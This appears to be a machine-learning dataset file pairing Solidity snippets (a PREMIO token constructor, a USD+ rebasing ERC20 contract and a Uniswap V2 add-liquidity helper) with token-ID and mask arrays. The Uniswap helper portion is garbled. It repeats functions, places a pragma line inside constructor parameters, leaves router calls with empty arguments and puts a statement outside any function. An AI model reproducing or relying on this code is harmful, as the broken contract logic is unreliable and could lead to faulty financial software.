./partial_match/42220/0x94140c2eA9D208D8476cA4E3045254169791C59e/sources/PREMIO.sol | * @dev Sets the values for {name} and {symbol}, initializes {decimals} with a default value of 18. To select a different value for {decimals}, use {_setupDecimals}. All three of these values are immutable: they can only be set once during construction./ | constructor (string memory name, string memory symbol, uint256 initialSupply, uint8 decimals) public {
_name = name;
_symbol = symbol;
_owner = msgSender;
_mint(_owner, initialSupply);
_decimals = decimals;
}
| 3,497,866 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5779,
11643,
288,
31734,
97,
598,
279,
805,
460,
434,
6549,
18,
2974,
2027,
279,
3775,
460,
364,
288,
31734,
5779,
999,
288,
67,
8401,
31809,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
282,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
5034,
2172,
3088,
1283,
16,
2254,
28,
15105,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
8443,
273,
1234,
12021,
31,
203,
3639,
389,
81,
474,
24899,
8443,
16,
2172,
3088,
1283,
1769,
203,
3639,
389,
31734,
273,
15105,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.9.0;
import "./libraries/math/WadRayMath.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "hardhat/console.sol";
contract UsdPlusToken is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable, AccessControlUpgradeable, UUPSUpgradeable {
using WadRayMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
// --- ERC20 fields
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// --- fields
bytes32 public constant EXCHANGER = keccak256("EXCHANGER");
bytes32 public constant UPGRADER_ROLE = keccak256("UPGRADER_ROLE");
uint256 private _totalMint;
uint256 private _totalBurn;
uint256 public liquidityIndexChangeTime;
uint256 public liquidityIndex;
uint256 public liquidityIndexDenominator;
EnumerableSet.AddressSet _owners;
// --- events
event ExchangerUpdated(address exchanger);
event LiquidityIndexUpdated(uint256 changeTime, uint256 liquidityIndex);
// --- modifiers
modifier onlyAdmin() {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Restricted to admins");
_;
}
modifier onlyExchanger() {
require(hasRole(EXCHANGER, msg.sender), "Caller is not the EXCHANGER");
_;
}
// --- setters
function setExchanger(address _exchanger) external onlyAdmin {
grantRole(EXCHANGER, _exchanger);
emit ExchangerUpdated(_exchanger);
}
function setLiquidityIndex(uint256 _liquidityIndex) external onlyExchanger {
require(_liquidityIndex > 0, "Zero liquidity index not allowed");
liquidityIndex = _liquidityIndex;
liquidityIndexChangeTime = block.timestamp;
emit LiquidityIndexUpdated(liquidityIndexChangeTime, liquidityIndex);
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize() initializer public {
__Context_init_unchained();
_name = "USD+";
_symbol = "USD+";
__AccessControl_init();
__UUPSUpgradeable_init();
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(UPGRADER_ROLE, msg.sender);
liquidityIndex = 10 ** 27; // as Ray
liquidityIndexDenominator = 10 ** 27; // Ray
}
function _authorizeUpgrade(address newImplementation)
internal
onlyRole(UPGRADER_ROLE)
override
{}
// --- logic
function mint(address _sender, uint256 _amount) external onlyExchanger {
// up to ray
uint256 mintAmount = _amount.wadToRay();
mintAmount = mintAmount.rayDiv(liquidityIndex);
_mint(_sender, mintAmount);
_totalMint += mintAmount;
emit Transfer(address(0), _sender, _amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
_afterTokenTransfer(address(0), account, amount);
}
function burn(address _sender, uint256 _amount) external onlyExchanger {
// up to ray
uint256 burnAmount = _amount.wadToRay();
burnAmount = burnAmount.rayDiv(liquidityIndex);
_burn(_sender, burnAmount);
_totalBurn += burnAmount;
emit Transfer(_sender, address(0), _amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
_afterTokenTransfer(sender, recipient, amount);
}
/**
* @dev See {IERC20-transfer}.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
// up to ray
uint256 transferAmount = amount.wadToRay();
transferAmount = transferAmount.rayDiv(liquidityIndex);
_transfer(_msgSender(), recipient, transferAmount);
emit Transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
uint256 allowanceRay = _allowance(owner, spender).rayMul(liquidityIndex);
// ray -> wad
return allowanceRay.rayToWad();
}
/**
* @dev See {IERC20-allowance}.
*/
function _allowance(address owner, address spender) internal view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) external override returns (bool){
// up to ray
uint256 scaledAmount = amount.wadToRay();
scaledAmount = scaledAmount.rayDiv(liquidityIndex);
_approve(_msgSender(), spender, scaledAmount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
// up to ray
uint256 scaledAmount = amount.wadToRay();
scaledAmount = scaledAmount.rayDiv(liquidityIndex);
_transfer(sender, recipient, scaledAmount);
uint256 currentAllowance = _allowance(sender, _msgSender());
require(currentAllowance >= scaledAmount, "UsdPlusToken: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - scaledAmount);
}
emit Transfer(sender, recipient, amount);
return true;
}
/**
* @dev Calculates the balance of the user: principal balance + interest generated by the principal
* @param user The user whose balance is calculated
* @return The balance of the user
**/
function balanceOf(address user)
public
view
override
returns (uint256)
{
// stored balance is ray (27)
uint256 balanceInMapping = _balanceOf(user);
// ray -> ray
uint256 balanceRay = balanceInMapping.rayMul(liquidityIndex);
// ray -> wad
return balanceRay.rayToWad();
}
/**
* @dev See {IERC20-balanceOf}.
*/
function _balanceOf(address account) internal view returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the scaled balance of the user. The scaled balance is the sum of all the
* updated stored balance divided by the reserve's liquidity index at the moment of the update
* @param user The user whose balance is calculated
* @return The scaled balance of the user
**/
function scaledBalanceOf(address user) external view returns (uint256) {
return _balanceOf(user);
}
/**
* @dev calculates the total supply of the specific aToken
* since the balance of every single user increases over time, the total supply
* does that too.
* @return the current total supply
**/
function totalSupply() public view override returns (uint256) {
// stored totalSupply is ray (27)
uint256 currentSupply = _totalSupply;
// ray -> ray
uint256 currentSupplyRay = currentSupply.rayMul(liquidityIndex);
// ray -> wad
return currentSupplyRay.rayToWad();
}
function totalMint() external view returns (uint256) {
uint256 totalMintRay = _totalMint.rayMul(liquidityIndex);
return totalMintRay.rayToWad();
}
function totalBurn() external view returns (uint256) {
uint256 totalBurnRay = _totalBurn.rayMul(liquidityIndex);
return totalBurnRay.rayToWad();
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Returns the scaled total supply of the variable debt token
* @return the scaled total supply
**/
function scaledTotalSupply() public view returns (uint256) {
return _totalSupply;
}
function ownerLength() external view returns (uint256) {
return _owners.length();
}
function ownerAt(uint256 index) external view returns (address) {
return _owners.at(index);
}
function ownerBalanceAt(uint256 index) external view returns (uint256) {
return balanceOf(_owners.at(index));
}
/**
* @dev Returns the name of the token.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public pure override returns (uint8) {
return 6;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal {
if (from == address(0)) {
// mint
_owners.add(to);
} else if (to == address(0)) {
// burn
if (balanceOf(from) == 0) {
_owners.remove(from);
}
} else {
// transfer
if (balanceOf(from) == 0) {
_owners.remove(from);
}
_owners.add(to);
}
}
uint256[50] private __gap;
}
| * @dev See {IERC20-allowance}./ | function _allowance(address owner, address spender) internal view returns (uint256) {
return _allowances[owner][spender];
}
| 15,853,195 | [
1,
9704,
288,
45,
654,
39,
3462,
17,
5965,
1359,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
5965,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
2713,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
5965,
6872,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x3AF045FD63Afc040aE9FD8C5b380d2DF2B804cfc/sources/UniswapV2AddLiquidityHelperV1.sol | @author Roger Wu (Twitter: @rogerwutw, GitHub: Roger-Wu) | contract UniswapV2AddLiquidityHelperV1 is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
constructor(
address uniswapV2FactoryAddress,
address uniswapV2Router02Address,
address wethAddress
pragma solidity >=0.6.0;
) public {
_uniswapV2FactoryAddress = uniswapV2FactoryAddress;
_uniswapV2Router02Address = uniswapV2Router02Address;
_wethAddress = wethAddress;
}
receive() external payable {}
function swapAndAddLiquidityTokenAndToken(
address tokenAddressA,
address tokenAddressB,
uint112 amountA,
uint112 amountB,
uint112 minLiquidityOut,
address to,
uint64 deadline
) public returns(uint liquidity) {
require(deadline >= block.timestamp, 'EXPIRED');
require(amountA > 0 || amountB > 0, "amounts can not be both 0");
if (amountA > 0) {
_receiveToken(tokenAddressA, amountA);
}
if (amountB > 0) {
_receiveToken(tokenAddressB, amountB);
}
return _swapAndAddLiquidity(
tokenAddressA,
tokenAddressB,
uint(amountA),
uint(amountB),
uint(minLiquidityOut),
to
);
}
function swapAndAddLiquidityTokenAndToken(
address tokenAddressA,
address tokenAddressB,
uint112 amountA,
uint112 amountB,
uint112 minLiquidityOut,
address to,
uint64 deadline
) public returns(uint liquidity) {
require(deadline >= block.timestamp, 'EXPIRED');
require(amountA > 0 || amountB > 0, "amounts can not be both 0");
if (amountA > 0) {
_receiveToken(tokenAddressA, amountA);
}
if (amountB > 0) {
_receiveToken(tokenAddressB, amountB);
}
return _swapAndAddLiquidity(
tokenAddressA,
tokenAddressB,
uint(amountA),
uint(amountB),
uint(minLiquidityOut),
to
);
}
function swapAndAddLiquidityTokenAndToken(
address tokenAddressA,
address tokenAddressB,
uint112 amountA,
uint112 amountB,
uint112 minLiquidityOut,
address to,
uint64 deadline
) public returns(uint liquidity) {
require(deadline >= block.timestamp, 'EXPIRED');
require(amountA > 0 || amountB > 0, "amounts can not be both 0");
if (amountA > 0) {
_receiveToken(tokenAddressA, amountA);
}
if (amountB > 0) {
_receiveToken(tokenAddressB, amountB);
}
return _swapAndAddLiquidity(
tokenAddressA,
tokenAddressB,
uint(amountA),
uint(amountB),
uint(minLiquidityOut),
to
);
}
function swapAndAddLiquidityEthAndToken(
address tokenAddressB,
uint112 amountB,
uint112 minLiquidityOut,
address to,
uint64 deadline
) public payable returns(uint liquidity) {
require(deadline >= block.timestamp, 'EXPIRED');
uint amountA = msg.value;
address tokenAddressA = _wethAddress;
require(amountA > 0 || amountB > 0, "amounts can not be both 0");
if (amountB > 0) {
_receiveToken(tokenAddressB, amountB);
}
return _swapAndAddLiquidity(
tokenAddressA,
tokenAddressB,
amountA,
uint(amountB),
uint(minLiquidityOut),
to
);
}
IWETH(_wethAddress).deposit{value: amountA}();
function swapAndAddLiquidityEthAndToken(
address tokenAddressB,
uint112 amountB,
uint112 minLiquidityOut,
address to,
uint64 deadline
) public payable returns(uint liquidity) {
require(deadline >= block.timestamp, 'EXPIRED');
uint amountA = msg.value;
address tokenAddressA = _wethAddress;
require(amountA > 0 || amountB > 0, "amounts can not be both 0");
if (amountB > 0) {
_receiveToken(tokenAddressB, amountB);
}
return _swapAndAddLiquidity(
tokenAddressA,
tokenAddressB,
amountA,
uint(amountB),
uint(minLiquidityOut),
to
);
}
function _swapAndAddLiquidity(
address tokenAddressA,
address tokenAddressB,
uint amountA,
uint amountB,
uint minLiquidityOut,
address to
) internal returns(uint liquidity) {
(uint amountAToAdd, uint amountBToAdd) = _swapToSyncRatio(
tokenAddressA,
tokenAddressB,
amountA,
amountB
);
_approveTokenToRouterIfNecessary(tokenAddressA, amountAToAdd);
_approveTokenToRouterIfNecessary(tokenAddressB, amountBToAdd);
(, , liquidity) = IUniswapV2Router02(_uniswapV2Router02Address).addLiquidity(
);
require(liquidity >= minLiquidityOut, "minted liquidity not enough");
uint _tokenABalance = IERC20(tokenAddressA).balanceOf(address(this));
uint _tokenBBalance = IERC20(tokenAddressB).balanceOf(address(this));
if (_tokenABalance >0){
IERC20(tokenAddressA).safeTransfer(msg.sender,_tokenABalance);
}
if (_tokenBBalance >0){
IERC20(tokenAddressB).safeTransfer(msg.sender,_tokenBBalance);
}
function _swapAndAddLiquidity(
address tokenAddressA,
address tokenAddressB,
uint amountA,
uint amountB,
uint minLiquidityOut,
address to
) internal returns(uint liquidity) {
(uint amountAToAdd, uint amountBToAdd) = _swapToSyncRatio(
tokenAddressA,
tokenAddressB,
amountA,
amountB
);
_approveTokenToRouterIfNecessary(tokenAddressA, amountAToAdd);
_approveTokenToRouterIfNecessary(tokenAddressB, amountBToAdd);
(, , liquidity) = IUniswapV2Router02(_uniswapV2Router02Address).addLiquidity(
);
require(liquidity >= minLiquidityOut, "minted liquidity not enough");
uint _tokenABalance = IERC20(tokenAddressA).balanceOf(address(this));
uint _tokenBBalance = IERC20(tokenAddressB).balanceOf(address(this));
if (_tokenABalance >0){
IERC20(tokenAddressA).safeTransfer(msg.sender,_tokenABalance);
}
if (_tokenBBalance >0){
IERC20(tokenAddressB).safeTransfer(msg.sender,_tokenBBalance);
}
function _swapAndAddLiquidity(
address tokenAddressA,
address tokenAddressB,
uint amountA,
uint amountB,
uint minLiquidityOut,
address to
) internal returns(uint liquidity) {
(uint amountAToAdd, uint amountBToAdd) = _swapToSyncRatio(
tokenAddressA,
tokenAddressB,
amountA,
amountB
);
_approveTokenToRouterIfNecessary(tokenAddressA, amountAToAdd);
_approveTokenToRouterIfNecessary(tokenAddressB, amountBToAdd);
(, , liquidity) = IUniswapV2Router02(_uniswapV2Router02Address).addLiquidity(
);
require(liquidity >= minLiquidityOut, "minted liquidity not enough");
uint _tokenABalance = IERC20(tokenAddressA).balanceOf(address(this));
uint _tokenBBalance = IERC20(tokenAddressB).balanceOf(address(this));
if (_tokenABalance >0){
IERC20(tokenAddressA).safeTransfer(msg.sender,_tokenABalance);
}
if (_tokenBBalance >0){
IERC20(tokenAddressB).safeTransfer(msg.sender,_tokenBBalance);
}
}
function _swapToSyncRatio(
address tokenAddressA,
address tokenAddressB,
uint amountA,
uint amountB
) internal returns(
uint newAmountA,
uint newAmountB
) {
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(_uniswapV2FactoryAddress, tokenAddressA, tokenAddressB);
bool isSwitched = false;
if (amountA * reserveB < reserveA * amountB) {
(tokenAddressA, tokenAddressB) = (tokenAddressB, tokenAddressA);
(reserveA, reserveB) = (reserveB, reserveA);
(amountA, amountB) = (amountB, amountA);
isSwitched = true;
}
uint amountAToSwap = calcAmountAToSwap(reserveA, reserveB, amountA, amountB);
require(amountAToSwap <= amountA, "bugs in calcAmountAToSwap cause amountAToSwap > amountA");
if (amountAToSwap > 0) {
address[] memory path = new address[](2);
path[0] = tokenAddressA;
path[1] = tokenAddressB;
_approveTokenToRouterIfNecessary(tokenAddressA, amountAToSwap);
uint[] memory swapOutAmounts = IUniswapV2Router02(_uniswapV2Router02Address).swapExactTokensForTokens(
);
amountA -= amountAToSwap;
amountB += swapOutAmounts[swapOutAmounts.length - 1];
}
return isSwitched ? (amountB, amountA) : (amountA, amountB);
}
function _swapToSyncRatio(
address tokenAddressA,
address tokenAddressB,
uint amountA,
uint amountB
) internal returns(
uint newAmountA,
uint newAmountB
) {
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(_uniswapV2FactoryAddress, tokenAddressA, tokenAddressB);
bool isSwitched = false;
if (amountA * reserveB < reserveA * amountB) {
(tokenAddressA, tokenAddressB) = (tokenAddressB, tokenAddressA);
(reserveA, reserveB) = (reserveB, reserveA);
(amountA, amountB) = (amountB, amountA);
isSwitched = true;
}
uint amountAToSwap = calcAmountAToSwap(reserveA, reserveB, amountA, amountB);
require(amountAToSwap <= amountA, "bugs in calcAmountAToSwap cause amountAToSwap > amountA");
if (amountAToSwap > 0) {
address[] memory path = new address[](2);
path[0] = tokenAddressA;
path[1] = tokenAddressB;
_approveTokenToRouterIfNecessary(tokenAddressA, amountAToSwap);
uint[] memory swapOutAmounts = IUniswapV2Router02(_uniswapV2Router02Address).swapExactTokensForTokens(
);
amountA -= amountAToSwap;
amountB += swapOutAmounts[swapOutAmounts.length - 1];
}
return isSwitched ? (amountB, amountA) : (amountA, amountB);
}
function _swapToSyncRatio(
address tokenAddressA,
address tokenAddressB,
uint amountA,
uint amountB
) internal returns(
uint newAmountA,
uint newAmountB
) {
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(_uniswapV2FactoryAddress, tokenAddressA, tokenAddressB);
bool isSwitched = false;
if (amountA * reserveB < reserveA * amountB) {
(tokenAddressA, tokenAddressB) = (tokenAddressB, tokenAddressA);
(reserveA, reserveB) = (reserveB, reserveA);
(amountA, amountB) = (amountB, amountA);
isSwitched = true;
}
uint amountAToSwap = calcAmountAToSwap(reserveA, reserveB, amountA, amountB);
require(amountAToSwap <= amountA, "bugs in calcAmountAToSwap cause amountAToSwap > amountA");
if (amountAToSwap > 0) {
address[] memory path = new address[](2);
path[0] = tokenAddressA;
path[1] = tokenAddressB;
_approveTokenToRouterIfNecessary(tokenAddressA, amountAToSwap);
uint[] memory swapOutAmounts = IUniswapV2Router02(_uniswapV2Router02Address).swapExactTokensForTokens(
);
amountA -= amountAToSwap;
amountB += swapOutAmounts[swapOutAmounts.length - 1];
}
return isSwitched ? (amountB, amountA) : (amountA, amountB);
}
function calcAmountAToSwap(
uint reserveA,
uint reserveB,
uint amountA,
uint amountB
) public pure returns(
uint amountAToSwap
) {
require(reserveA > 0 && reserveB > 0, "reserves can't be empty");
require(reserveA < 2**112 && reserveB < 2**112, "reserves must be < 2**112");
require(amountA < 2**112 && amountB < 2**112, "amounts must be < 2**112");
require(amountA * reserveB >= reserveA * amountB, "require amountA / amountB >= reserveA / reserveB");
return amountA.div(2);
}
function _receiveToken(address tokenAddress, uint amount) internal {
IERC20(tokenAddress).safeTransferFrom(msg.sender, address(this), amount);
}
function _approveTokenToRouterIfNecessary(address tokenAddress, uint amount) internal {
uint currentAllowance = IERC20(tokenAddress).allowance(address(this), _uniswapV2Router02Address);
if (currentAllowance < amount) {
IERC20(tokenAddress).safeIncreaseAllowance(_uniswapV2Router02Address, 2**256 - 1 - currentAllowance);
}
}
function _approveTokenToRouterIfNecessary(address tokenAddress, uint amount) internal {
uint currentAllowance = IERC20(tokenAddress).allowance(address(this), _uniswapV2Router02Address);
if (currentAllowance < amount) {
IERC20(tokenAddress).safeIncreaseAllowance(_uniswapV2Router02Address, 2**256 - 1 - currentAllowance);
}
}
